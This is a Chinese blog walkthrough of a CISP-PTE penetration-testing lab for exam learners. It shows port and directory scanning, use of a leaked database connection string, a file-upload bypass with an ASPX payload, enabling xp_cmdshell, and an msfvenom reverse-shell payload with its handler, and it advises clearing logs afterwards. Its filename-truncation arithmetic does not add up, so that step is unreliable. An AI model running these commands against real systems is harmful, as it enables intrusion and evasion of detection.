新手也能搞定:从端口扫描到数据库提权,一次完整的CISP-PTE靶场实战复盘
2026/5/2 8:31:49 网站建设 项目流程

从零到一的渗透实战:CISP-PTE靶场通关全记录

第一次接触渗透测试靶场时,面对黑屏终端和闪烁的光标,我完全不知道从何下手。直到完整走完这次CISP-PTE标准靶场的通关流程,才真正理解渗透测试不是工具堆砌,而是逻辑推理与系统思维的完美结合。下面就用最直白的语言,分享这个包含信息收集、漏洞利用、权限提升的完整闭环过程。

1. 信息收集:一切始于端口探测

靶场环境启动后的第一课是:不要盲目行动。就像侦探破案需要先勘察现场,我们需要先摸清目标系统的"门窗位置"——也就是开放端口和服务。

推荐从轻量级扫描开始,避免触发防护机制。使用gorailgun的基础扫描模式:

gorailgun-normal -target 192.168.1.100

输出显示两个关键端口:

  • 27689:非常规端口,可能是Web服务
  • 1433:标准的MSSQL数据库端口

用nmap二次验证时,限定端口范围能显著提升效率:

nmap -sS -T4 -p 1-30000 192.168.1.100

参数说明

  • -sS:SYN半开扫描,平衡速度和隐蔽性
  • -T4:加快扫描速度
  • -p:限定端口范围避免全端口扫描

常见新手错误:直接使用-p-扫描所有65535端口,既耗时又容易被安全设备发现。

2. Web渗透:从文件上传到getshell

访问27689端口果然发现文件上传系统。尝试常规渗透路径:

2.1 认证绕过尝试

  • 测试admin/admin等常见弱口令组合 → 失败
  • 尝试SQL注入式登录如admin' or 1=1--→ 被过滤
  • 万能密码测试 → 系统有防爆破机制

2.2 目录扫描发现突破口

使用dirsearch扫描网站目录:

python3 dirsearch.py -u http://192.168.1.100:27689 -e php,asp,aspx,jsp

发现关键文件:

/db_backup.zip

解压后得到web.config,内含数据库连接字符串:

<connectionStrings> <add name="DBConnect" connectionString="Server=localhost;Database=AppDB;User ID=webuser;Password=P@ssw0rd123"/> </connectionStrings>

2.3 文件上传的艺术

通过Navicat连接MSSQL获取后台密码后,发现文件上传功能有特殊限制:

限制条件细节利用方式
文件名长度超32字符会被截断构造刚好32字符的文件名
文件类型检查Content-Type修改请求头绕过
内容检查检测危险函数使用混淆编码

最终payload构造:

文件名:88888888.aspx.jpg 文件内容:<%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <% Process.Start("cmd.exe"); %>

关键点:前8位随机字符+.aspx共13字符,加上.jpg后缀正好32字符被截断,最终服务器保存为88888888.aspx。

3. 数据库提权:两条路径对比

获取webshell后,在根目录找到key1但权限不足,需要提权。这里演示两种典型方法:

3.1 通过MSSQL扩展存储过程

使用获取到的SA账号登录后:

-- 启用xp_cmdshell EXEC sp_configure 'show advanced options', 1 RECONFIGURE EXEC sp_configure 'xp_cmdshell', 1 RECONFIGURE -- 执行系统命令 EXEC xp_cmdshell 'whoami'

风险提示:现代SQL Server默认禁用该功能,且操作会留下明显日志。

3.2 MSF木马提权

更稳定的方式是生成meterpreter后门:

msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.1.10 \ LPORT=4444 \ -f exe > update.exe

在靶机执行后,MSF控制台配置:

use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.10 set LPORT 4444 exploit

两种方法对比

维度数据库命令MSF木马
隐蔽性中等
稳定性依赖数据库服务独立进程
功能受限完整控制
适用场景紧急命令执行长期控制

4. 痕迹清理与反思

完成目标后,千万别忘记:

  1. 删除上传的webshell文件
  2. 清理数据库执行日志
  3. 结束创建的异常进程
  4. 还原修改过的系统配置

回顾整个流程,最深的体会是:渗透测试70%的时间都在信息收集和分析。那些看似枯燥的配置文件、报错信息,往往藏着突破的关键线索。建议新手在靶场练习时,养成记录每个步骤和思考过程的习惯——这才是PTE考试真正的考点。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询